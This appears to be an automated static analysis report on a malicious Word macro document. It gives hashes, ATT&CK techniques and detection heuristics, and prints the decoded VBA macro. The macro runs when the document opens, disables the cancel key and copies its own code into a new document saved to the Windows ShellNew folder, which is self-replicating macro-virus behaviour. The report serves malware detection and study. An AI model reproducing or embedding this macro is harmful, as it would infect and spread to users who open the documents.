Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bef20cd9e34b517e…

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-03-10 09:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 07a2285324ffb29c8ad93db78f3903aa SHA-1: d88aa3be78b30712cd4e75a39ac7ca3f0ff07504 SHA-256: bef20cd9e34b517e5b0412f81ddc37e2c479c95a0f61b965cebb65e8351f3fe6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open heuristic. This macro utilizes CreateObject to instantiate a Word.Application object, adds VBA code to a new document, and saves it as 'C:\Windows\ShellNew\Winword8.doc'. This suggests a malicious document designed to drop and execute further payloads.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 713 bytes
SHA-256: aeac0d5f1c7edbd80dec94312c46f84ed03e66250191517afe357eb43b65d8e2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
Set Wordobj = CreateObject("Word.Application")
I = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines)
Wordobj.Documents.Add
Wordobj.ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString I
Wordobj.ActiveDocument.SaveAs "C:\Windows\ShellNew\Winword8.doc", , , , 0
Wordobj.Quit
End Sub
'lesbian_sex